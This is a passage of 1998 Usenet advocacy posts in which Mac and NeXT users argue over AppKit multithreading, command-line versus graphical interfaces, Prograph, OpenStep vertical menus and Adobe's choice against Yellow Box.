Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 8 Sep 1998 18:13:00 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6t3s3c$3os$1@news.mxol.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net> <6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net> <6sn7u7$nq3$1@nnrp1.dejanews.com> <6sp5su$pgv$1@news.spacelab.net> <6spibk$o2m$1@nnrp1.dejanews.com>
quinlan@intergate.bc.ca wrote:
>In article <6sp5su$pgv$1@news.spacelab.net>,
> "Charles W. Swiger" <chuck@codefab.com> wrote:
>> There is a performance hit when multithreading is enabled which can
>> be significant because of mutex overhead. Multithreading also increases
>> the processes' resource utilization (seperate stacks per thread, et al).
>
>In the BeOS, you can open a few hundred windows (creating a window creates two
>threads) and performance doesn't seem to suffer very much. I also believe that
>system speed is increasing faster than the number of windows the typical user
>wants open.
Again, the performance hit for enabling multithreading does not scale directly with the
number of threads. Enabling MT at all produces the most significant hit; adding more
threads (more windows) doesn't do much except potentially increase the thread switching
overhead.
> Also, how much stack does the average thread use?
Highly variable-- depends on what you're doing with it.
> I'd say, in a typcial YB application, it would be under 32K. And remember that the
> stack of a thread belonging to an idle window (most of them would probably be idle)
> can be paged out.
True.
>> There should be a single way of writing event management code that works
>> for both threaded and non-threaded applications. And it is not the case
>> that user experience is always better in multithreaded applications-- it
>> depends on the specific app in question.
>
>But the multithreaded way should be as easy or easier to develop than the
>single threaded way. Otherwise, application designers are going to choose the
>simpler path.
"As easy" would be just fine by me.
> And when do multithreaded applications result in an inferior user experience?
As a generalization, when the application is working with a finite resource that cannot
be multithreaded for whatever reason. A specific example might be something like a SCSI
disk formatter, or a defragmentation utility.
>> Where else would reentrancy matter more than in the Appkit, which is the
>> most relevant framework for dealing with event management code, windows,
>> views, scrolling, et al? Writing a multithreaded YB app using the Appkit
>> is much easier if the Appkit is thread-safe.
>
>Sorry, I thought that you were saying that Apple was going to do more to than
>make the Appkit reentrant.
Everything I see suggests that Apple is working to do more that make the Appkit reentrant
(although that is certainly a significant thing to do).
>> The Appkit should not enforce a design decision like multithreading.
>> The Appkit should support both single- and multithreaded apps as far
>> as possible, not favor one paradigm over the other.
>
>OK, but right now you would need to do some extra work to make a multithreaded
>application even if every aspect of the YB was reentrant. Apple could make it
>easier.
Yup. Again, it looks like they're working on it....
-Chuck
Charles Swiger | chuck@codefab.com | Yeah, yeah-- disclaim away.
----------------+-------------------+----------------------------
You have come to the end of your journey. Survival is everything.
From: heaney@SolidObject.com (John Heaney)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <heaney-0809981435300001@24.0.246.137>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3mup$124$1@nnrp02.primenet.com>
Organization: Solid Object Software
Date: Tue, 08 Sep 1998 18:26:42 GMT
NNTP-Posting-Date: Tue, 08 Sep 1998 11:26:42 PDT
In article <6t3mup$124$1@nnrp02.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
> John Heaney <heaney@SolidObject.com> wrote:
> : I think this can be applied to programming languages as well. I write
> : applications using a language called Prograph (www.pictorious.com). It is
> : an iconic, dataflow language. A method is comprised of icons, which
> : [...]
>
> What percentage of your commercial work do you do in Prograph?
Almost 100% for the last several years.
From: heaney@SolidObject.com (John Heaney)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <heaney-0809981450410001@24.0.246.137>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3kvl$hi$1@nnrp02.primenet.com>
Organization: Solid Object Software
Date: Tue, 08 Sep 1998 18:41:58 GMT
NNTP-Posting-Date: Tue, 08 Sep 1998 11:41:58 PDT
In article <6t3kvl$hi$1@nnrp02.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
> John Heaney <heaney@SolidObject.com> wrote:
> : In article <6svokr$51r$1@nnrp02.primenet.com>, John Jensen
> : <jjens@primenet.com> wrote:
>
> : > I'd say it falls in nicely with my "fear of text" theme. The Apple help
> : > system says don't make me read anything, just circle what I'm supposed to
> : > do. As if a computer knew what I want to do.
>
> : I use help all the time without the red circles. I was just using that
> : as an example of just how sophisticated the help system is.
>
> Now you tell me you don't use the red circles.
You were taking me too literally. You must be a computer. ;)
I usually do not need help because I can usually figure out what I can and
should do from the GUI. When I do need help, I often only need the balloon
help. For example, sometimes a control is disabled and the balloon help
reminds me what I need to do to enable it. I have occasionally used the
coach marks, which is better for step by step things like setting up
TCP/IP setting and such.
It also is not unusual to get help via the web browser. Many companies
seem to be shipping html docs these days. There's also Acrobat and
AppleDocViewer and Think Reference. All of these are better than man page
because, or rather when, they are hyperlinked. Like I said, I have nothing
against reading text. It's the CLI, which necessarily involves text
_input_ that I don't like. Of course, the GUI has greatly improved the
presentation of text output as well.
You keep trying to twist my words around to find an inconsistency. Why
don't you just try understanding what I'm saying, even if I fumble with
the words, and then respond to that. The bit about language and thinking
was good. I think that gets more to the crux of the matter. All this
nonsense about red circles is completely tangental.
From: "William Edward Woody" <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Tue, 8 Sep 1998 11:39:39 -0700
Organization: Pacific Bell Internet Services
Message-ID: <6t3tuu$cjn$1@nnrp2.snfc21.pbi.net>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137><6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3mup$124$1@nnrp02.primenet.com> <6t3qeq$1nr$1@nnrp02.primenet.com>
John Jensen wrote in message <6t3qeq$1nr$1@nnrp02.primenet.com>...
>I can provide one answer my question. I did a deja-news search in the
>*.jobs.* catagory, for the period from Jan 1, 1998 through Aug 31, 1998
>for the word "Prograph". I came up with a single hit for Prograph, and
>that was in someone's resume. For an arbitrary written language, Fortran,
>deja-news found "about 36000" matches.
This demonstrates nothing as some of the best jobs are never
advertised.
- Bill Woody
The PandaWave
From: heaney@SolidObject.com (John Heaney)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <heaney-0809981243030001@24.0.246.137>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com>
Organization: Solid Object Software
Date: Tue, 08 Sep 1998 16:34:15 GMT
NNTP-Posting-Date: Tue, 08 Sep 1998 09:34:15 PDT
In article <6t3if6$h$1@nnrp02.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
> John Heaney <heaney@SolidObject.com> wrote:
> : I really can't think of any cases where a CLI is more useful or more
> : efficient than a GUI. If the Mac had a CLI, I can't imagine what I would
> : use it for.
>
> I'm not bothered if someone chooses a GUI for a particular task over a
> CLI. The bit that I'm bothered by is idea that a CLI is never
> appropriate. I would be at least as disturbed by a CLI addict who said
> that a GUI was never appropriate.
This is just my opinion, but, as a developer (and a user), I don't like
the design philosophy that adds features or maintains features simply
because no one can say no. I don't think there are more than the tiniest
percentage of people that would use a CLI if it were available in the
MacOS. I don't think it is worth the effort to maintain such a mechanism.
I would rather see the energy directed elsewhere.
BTW, I do think that the useful parts of a CLI are available on the Mac in
the form of macro facilities and scripting languages.
> Let's examine this a little more. We humans build our civilization upon
> the written word. As you say, much of what people do with Macs involves
> reading and writing. There are some evolutionary biologists who think
> that language processing is not just an ability we have, but it is the
> fundamental mechanism of consciousness. The ability of our minds to
> manipulate language, especially written language is a very big deal.
I understand this and agree wholeheartedly.
> If we use language and words for so many things, why is it inappropriate
> to direct a computer by words?
It's quite simple; computers don't think. I mean they aren't even stupid;
they really can't think at all. Sew i could , type in awl kines of
MIStakes and u wud stil beable too process whatt i rote. A computer would
not be able to do that. The computer is better thought of as an extremely
flexible machine or tool. Our minds should be occupied by the content that
we interact with on this machine; not the machine itself.
I think this can be applied to programming languages as well. I write
applications using a language called Prograph (www.pictorious.com). It is
an iconic, dataflow language. A method is comprised of icons, which
represent function calls, data accesses, constants, etc. The inputs and
outputs of the operations are represented by input nodes on top and output
nodes on bottom. I just wire them up. The benefit of this is that there is
(almost) no textual syntax. I don't have to think about whether there's a
comma or semicolon, braces or parentheses or brackets. I don't have to
worry about casting or even coming up with local variable names, which may
collide with other name spaces. All this is unnecessary because the
abstract has been made concrete via the iconic representations. The result
is that I can focus on the problem instead of the language or the
compiler.
I think this answers your concerns very well because, while it is
certainly true that we need language to think, we don't need all that
syntax. We only need that syntax to transfer those thoughts to someone (or
something) else via the written word. (You don't actually say "period" at
the end of a sentence when you speak or think.) We need even more syntax
for text based computer languages because computers are worse than stupid.
So, I think that GUIs and iconic programming languages are closer to human
thought than the kind of command processing you get with a CLI precisely
because you can focus more of your attention on the content of and less on
the mechanics of information.
From: tapella@pasteur.frANCE (Tapella)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSX
Date: Tue, 08 Sep 1998 18:42:34 +0200
Organization: Institut Pasteur, Paris
Message-ID: <tapella-0809981842340001@22w2-1.dyn.pasteur.fr>
References: <macghod-0609981221240001@sdn-ar-001casbarp298.dialsprint.net> <B2187B86-2132B9@153.36.240.74> <joe.ragosta-0609982205020001@elk66.dol.net> <macghod-0609982151450001@sdn-ar-001casbarp166.dialsprint.net> <tapella-0709981610060001@22w2-1.dyn.pasteur.fr> <macghod-0709981320520001@sdn-ar-002casbarp124.dialsprint.net>
NNTP-Posting-Date: 8 Sep 1998 16:36:39 GMT
In article <macghod-0709981320520001@sdn-ar-002casbarp124.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> Its not that I want a mac with no menus, its that the top menubar takes up
> valuable real estate. I would rather have menus on the side, like
> openstep. I am sure their are one or two people in CSNA that would like
> this with os x server or os x as well
Well, the program GIF Converter has a menu option to remove the menu bar,
so I guess it is possible. (I checked and you can move folders, etc. into
the space where the menubar is and still see them, so it's real desktop
space.)
Frankly, I'm not convinced that a vertical menu bar is actually superior.
The only advantage it has is scalability -- it's possible to fill up the
Mac menubar, but there's pretty much no way you'll have the 30-60 top-level
menu options that would be required to fill a NeXT menubar. Another
possibility is that it's marginally faster because menus are closer to
each other -- but this is also a drawback because now it's also easier
to overshoot your selection, so you have to move in a more controlled and
thus slower manner over the smaller distance. Regardless, we're talking
fractions of a second. [Note I've very little experience with vertical
menus, but this seems to be the case with me -- maybe I'm just not used to
them yet?]
A menu bar on top doesn't really that up that much real estate, and it's
consistent (ie, it's not a random chunk in the corner, it's a constant
strip on the edge of your screen). Also, it's easier to select options
with the greater target area of a horizontal selection (the width of the
word rather than the height). I don't think you really gain that much
usable screen area by switching from Mac-style to NeXT-style, although it
might seem that way. [Note you pretty much lose the benefits of horizontal
menus with the
Windows system of not having them at the edge of the screen, and also allowing
them to loop around to multiple lines. Doh.]
Sum up: Mac style is less scalable, and possibly slower (BAD) but more
consistent, more accurate, and probably easier to use (GOOD).
But I digress.
Anyway, I'm sure Apple can do that -- I don't see why it would be so hard
to allow hiding the menubar and/or making a NeXT-style vertical menu chunk.
Although I'm not sure that this is really "What we need from Mac OSX". I
have no idea how much Apple is focusing on a modifiable and scalable
interface re-design.
Rob.
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: You'd Need A 469MHz PII To Beat An IBM G3/400 Based PowerMac
Date: Tue, 08 Sep 1998 09:36:20 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-0809980936200001@sdn-ar-001casbarp098.dialsprint.net>
References: <datamagik-0109981809260001@norlm350mac23.colorado.edu> <35ECFC84.A53DE157@worldnet.att.net> <joe.ragosta-0209980638480001@elk77.dol.net> <macghod-0209981430030001@1cust52.tnt1.santa-barbara.ca.da.uu.net> <joe.ragosta-0209982056130001@elk103.dol.net> <macghod-0209982152430001@1cust187.tnt1.santa-barbara.ca.da.uu.net> <joe.ragosta-0809980828440001@wil50.dol.net>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <joe.ragosta-0809980828440001@wil50.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> >
> >Joe, various people here have stated they noticed the "footnote" on
> >apple's web page stating that the test was done by Apple in Apple's lab.
> >This was when the toasted bunny first came out. I know you have seen
> >these posts, so stop being dishonest.
> The
> original ads said that the source of the information was Byte Magazine. I
> recall looking for the disclaimer in the WSJ ad. Apple may have changed
> them later, but that doesn't change the fact that the first ads cited
> Byte.
Well after the very first ad came out (this was when the top end g3 was
266) their web page said that the test was done by apple at apple. And of
course these ads cited Byte as well, they said apple engineers tested g3's
with byte in their own lab. They also said they just used Bytes numbers
for the p2.
--
Just because you use a mac doesnt mean you have to lose all
semblance of reason and logic
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 8 Sep 1998 16:45:13 GMT
Organization: Primenet (602)416-7000
Message-ID: <6t3mup$124$1@nnrp02.primenet.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137>
<6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137>
John Heaney <heaney@SolidObject.com> wrote:
: I think this can be applied to programming languages as well. I write
: applications using a language called Prograph (www.pictorious.com). It is
: an iconic, dataflow language. A method is comprised of icons, which
: [...]
What percentage of your commercial work do you do in Prograph?
John
From: eugene@cs.umb.edu (Eugene O'Neil)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Tue, 08 Sep 98 16:38:53 GMT
Organization: MORE Systems
Message-ID: <6t3mmv$q4d@sjx-ixn3.ix.netcom.com>
References: <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s5408$kc5$1@reader1.reader.news.ozemail.net> <6s6hd0$30u@news1.panix.com> <SCOTT.98Aug28130819@slave.doubleu.com> <EyK67n.7DI@T-FCN.Net> <D31B50461F33C90C.B0C9BB4EF6A49007.725D4B0B54C08000@library-proxy.airnews.net> <EyMHA5.9At@T-FCN.Net> <35EC8621.A28FBDDA@ericsson.com> <6sibgk$ssh@news1.panix.com> <89DA80382AE9C9D2.B50B13F0EB2D178E.DA44ABF2DF68B50A@library-proxy.airnews.net>
lee_s_bumgarner@yahoo.com wrote:
>On 2 Sep 1998 02:45:40 GMT, sal@panix.com (Sal Denaro) wrote:
>>Apple would have to build brand recognition for its Linux offering in the
>>same way it would have to build brand recognition for OSX. What would it
>>gain as being yet another Linux vendor, if it didn't invest time and
>>energy in building brand recognition?
>
>All this could be overcome if the company had a CEO with a Linux
>"vision." Apple would _thrive_, regardless of the time it took to
>port things to Linux if it were seen as promoting Linux-with-Mac-GUI
>as "the future."
A lot of things can be overcome by someone who has a "vision". Steve Jobs can
be criticised for a lot of things, but a lack of vision is certianly not one
of them. He doesn't need to borrow our vision, he has one of his own. You
could see that vision in the original Macintosh, and now you can see it again
today in the iMac. It might not be a vision that appeals directly to Linux
hackers like us, but I for one recognise that it is still a powerful vision
that will serve Apple well.
-Eugene
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 8 Sep 1998 16:51:33 GMT
Organization: Primenet (602)416-7000
Message-ID: <6t3nal$124$2@nnrp02.primenet.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137>
<6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137>
John Heaney <heaney@SolidObject.com> wrote:
: It's quite simple; computers don't think. I mean they aren't even stupid;
: they really can't think at all. Sew i could , type in awl kines of
: MIStakes and u wud stil beable too process whatt i rote. A computer would
: not be able to do that. The computer is better thought of as an extremely
: flexible machine or tool. Our minds should be occupied by the content that
: we interact with on this machine; not the machine itself.
I don't know what all this funny spelling proves. In a GUI you have to
click the right place. Should I argue that a GUI is flawed because it
requires accurate mouse-positioning?
John
From: heaney@SolidObject.com (John Heaney)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <heaney-0809981533040001@24.0.246.137>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com>
Organization: Solid Object Software
Date: Tue, 08 Sep 1998 19:24:15 GMT
NNTP-Posting-Date: Tue, 08 Sep 1998 12:24:15 PDT
In article <6t3nal$124$2@nnrp02.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
> John Heaney <heaney@SolidObject.com> wrote:
> : It's quite simple; computers don't think. I mean they aren't even stupid;
> : they really can't think at all. Sew i could , type in awl kines of
> : MIStakes and u wud stil beable too process whatt i rote. A computer would
> : not be able to do that. The computer is better thought of as an extremely
> : flexible machine or tool. Our minds should be occupied by the content that
> : we interact with on this machine; not the machine itself.
>
> I don't know what all this funny spelling proves.
The point is that telling a computer what to do via commands is not
natural, in the sense that you have to talk to the computer in terms it
can understand, which is not necessarily in terms that make most sense to
the user. The whole AI effort is to try to make computers more "natural".
Maybe some day computers will have the intelligence of people and command
line interfaces will make sense again. Until then, the GUI rules.
>In a GUI you have to
> click the right place. Should I argue that a GUI is flawed because it
> requires accurate mouse-positioning?
Mouse-positioning is more analogous to typing. Some people are accurate
with a mouse and some aren't. Some are good typists and some aren't. I
would say that most people have any easier time of pointing and clicking
than typing.
Now, it may be true that it's hard to click in the right place because the
_particluar_ GUI sucks, due to poor design. I'm sure we've all seen
examples of that. The same can be said of commands. Unix commands, for
example, are the height of computer geekdom with all those arcane
two-letter commands and command line switches. However, I think it clouds
the issue to compare bad GUI design with good CLI design, or vice versa.
Better to compare the best of each. Maybe you could give me an example of
a CLI based application that is better than the equivalent GUI based
application.
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Adobe K2: Where's the Yellow Box?
Date: Tue, 08 Sep 1998 19:15:17 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6t3vo5$6ts$1@nnrp1.dejanews.com>
References: <6stc1a$137o$1@piglet.cc.uic.edu> <1998090617102500.NAA17594@ladder01.news.aol.com> <LGHI1.3517$_c3.13399209@news.rdc1.nj.home.com> <6svqso$pn8$1@news.idiom.com> <Fergus.Doherty-ya02408000R0809981617160001@news.nottingham.ac.uk>
Fergus.Doherty@nottingham.ac.uk (Fergus Doherty) wrote:
> The way I see it Apple (in the shape of Tevanian and Jobs) tried early on
> to convince the likes of Adobe, Macromedia, Microsoft to shift to Yellow
> Box. I get the impression that they weren't prepared too, at least not
> yet. This would have left MacOS X (or Rhapsody as it then was) with few,
> or no, high profile apps from the big guys. OK, so maybe their apps stink,
> but as we all must know now negative press spin on Apple's projects can
> kill Apple. And without those big names the press will really hammer Mac
> OS X, despite whatever excellent Yellow Box apps there are from smaller
> developers.
> Apple needed a new OS that allowed legacy apps to run perfectly, and
> seamlessly, for the user. Hence Carbon. I think the Blue Box was seen as
> too much of an obvious kludge and Carbon as a way to "clean up" MacOS apps
> for Mac OS X. Seems reasonable to me, in fact I don't see that there was
> any viable alternative.
I don't think the previous posters were attacking the idea of having Carbon.
As you state, carbon makes sense for Apple. To transition old code to MacOSX.
carbon makes a lot of sense.
What they seemed to me to be attacking, and with considerable justification,
is Adobe's obtuseness in using Carbon to develop such a new app as K2 rather
than taking advantage of all the advantages yellow-box offers. This is silly
for Adoby, who will undoubtedly spend much more time writing K2 than if
they'd done it under yellow-box, and unfortunate for Apple, since it means a
critical player isn't endorsing yellow-bix.
As far as I can tell, Adobe is trying hard to become the next Lotus or
WordPerfect: once-dominant players who have all but vanished from the face of
the earth. Not using yellow-box for apps like K2 is just a symptom.
Apple also used to be on that path, but at least they're trying very hard to
get off it, whereas Adobe seems to be trying hard to get on it.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSX
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 8 Sep 1998 19:26:03 GMT
Organization: U of Maryland, College Park, MD 20742
Message-ID: <6t40cb$jhc$1@cronkite.cs.umd.edu>
References: <macghod-0609981221240001@sdn-ar-001casbarp298.dialsprint.net><B2187B86-2132B9@153.36.240.74><joe.ragosta-0609982205020001@elk66.dol.net><macghod-0609982151450001@sdn-ar-001casbarp166.dialsprint.net><tapella-0709981610060001@22w2-1.dyn.pas teur.fr><macghod-0709981320520001@sdn-ar-002casbarp124.dialsprint.net><tapella-0809981842340001@22w2-1.dyn.pasteur.fr><6t3q0p$13a61@odie.mcleod.net> Distribution:
NNTP-Posting-Date: 8 Sep 1998 19:26:03 GMT
Michelle L. Buck (buck.erik@mcleod.net) wrote:
[regarding OpenStep versus Mac menus]
: As to easier and accuracy: Humans are better able to select items from a
: list that is arranged vertically. Look at a phone book. How do you write
: your shopping list ? People generally put their finger and their focus at
: the top of a column and slide their finger and focus down the list to the
: selected item. Most people find the hand motion required to move the mouse
: vertically somewhat less tiring than moving horizontally.
While I personally much prefer OpenStep windows to Mac windows, your
statement above has no basis in evidence. The reason lists are arranged
vertically is that we can pack more items vertically than horizontally. It
has little to do with our cognitive speed in picking items out of vertical
lists.
It's not a very important issue IMHO, but in fact we are much faster at
grokking horizontal lists of pure text than vertical ones. Even in
NeXTSTEP, this leaks through: for a non-menu example, consider the typical
arrangement of yes/no/cancel buttons on a dialog box. The chief time we
arrange things vertically is when (1) they have no associated text to
dictate flow (for example, an icon bar), or (2) they're meant to *look*
like written lists (radio buttons, say).
: My personal opinion is that the Openstep style vertical menus are far
: superior to the Mac menus in every regard.
Nonsense.
1) OpenStep menus are far more difficult to hit.
2) OpenStep submenus hang so they're aligned with the top of the main
menu, a clearly inferior approach.
Just because one likes OpenStep menus doesn't mean one has to exaggerate
their advantages.
: Many of the same people who
: created the Mac menu system went on to build the vertical menus. Maybe they
: had a reason.
I can think of not one person working for NeXT who was on the original
Mac/Lisa team. Do you know something we don't? Real or imagined
advantages aside, the chief reason why many of the elements in NeXTSTEP
were different from the Mac was to only to make the Cube _look_ different.
Distinctly non-Apple. This was both for marketing :-) and legal :-(
reasons.
Sean Luke
seanl@cs.umd.edu
From: agave@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Adobe K2: Where's the Yellow Box?
Date: Tue, 08 Sep 1998 19:32:54 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6t40p6$8g1$1@nnrp1.dejanews.com>
References: <6stc1a$137o$1@piglet.cc.uic.edu> <1998090617102500.NAA17594@ladder01.news.aol.com> <LGHI1.3517$_c3.13399209@news.rdc1.nj.home.com> <6svqso$pn8$1@news.idiom.com> <Fergus.Doherty-ya02408000R0809981617160001@news.nottingham.ac.uk>
In article <Fergus.Doherty-ya02408000R0809981617160001@news.nottingham.ac.uk>,
Fergus.Doherty@nottingham.ac.uk (Fergus Doherty) wrote:
>
> The way I see it Apple (in the shape of Tevanian and Jobs) tried early on
> to convince the likes of Adobe, Macromedia, Microsoft to shift to Yellow
> Box. I get the impression that they weren't prepared too, at least not
> yet.
>
I know this sounds conspiracy-like but I don't see any reason why a large
corporation would want to endorse a product that gives a competitor with
fewer resources an advantage. Adobe, MS, etc already have a solution to
Mac/Windows cross-platform development (some part of the solution is usually
"don't do MacOS"). Maybe YellowBox could save them money but I don't think
that's a very large concern for them compared to the danger of a one or
two-man team producing the next killer app.
I hope that the smaller companies producing Mac software with the Toolbox (or
Win32 developers who want to target MacOS) take a serious look at YellowBox.
They're the ones that stand to benefit the most.
-Ian
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Tue, 08 Sep 1998 14:42:03 -0500
Organization: Ericsson North America Inc.
Message-ID: <35F5888B.AE0C62FB@ericsson.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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John Heaney wrote:
[cut]
> Maybe you could give me an example of
> a CLI based application that is better than the equivalent GUI based
> application.
I'm using SWIG to create Perl interfaces to C/C++ programs. From any
Unix or Windows operating system, I type the following:
> swig -perl interface.i
Pretty simple. In MacOS, however, you have to start the GUI interface,
push a lot of buttons to choose input file, output file, language,
documentation type, module name, type of code generation, etc., and
eventually quit manually. Much slower.
A Tcl/Tk GUI interface had to be written just for MacOS. If I were the
developer, I really don't know whether it would be worth the extra time
just to get a few extra users from the tiny MacOS market. One more
barrier to entry.
MJP
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSX
Date: Tue, 8 Sep 1998 12:35:29 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6t3q0p$13a61@odie.mcleod.net>
References: <macghod-0609981221240001@sdn-ar-001casbarp298.dialsprint.net> <B2187B86-2132B9@153.36.240.74> <joe.ragosta-0609982205020001@elk66.dol.net> <macghod-0609982151450001@sdn-ar-001casbarp166.dialsprint.net> <tapella-0709981610060001@22w2-1.dyn.pasteur.fr> <macghod-0709981320520001@sdn-ar-002casbarp124.dialsprint.net> <tapella-0809981842340001@22w2-1.dyn.pasteur.fr>
Tapella wrote in message ...
[...]
>
>Sum up: Mac style is less scalable, and possibly slower (BAD) but more
>consistent, more accurate, and probably easier to use (GOOD).
>But I digress.
>
[...]
>
>Rob.
The Mac style is not more consistent. The Openstep vertical menu has the
same minimum set of items in every application. There are standard
locations for most common capabilities.
You credit the Mac menu for being more accurate based on the size of the
menu items. Openstep vertical menu items are or can be by preference the
same size. Each item is just as wide and just as tall.
As to easier and accuracy: Humans are better able to select items from a
list that is arranged vertically. Look at a phone book. How do you write
your shopping list ? People generally put their finger and their focus at
the top of a column and slide their finger and focus down the list to the
selected item. Most people find the hand motion required to move the mouse
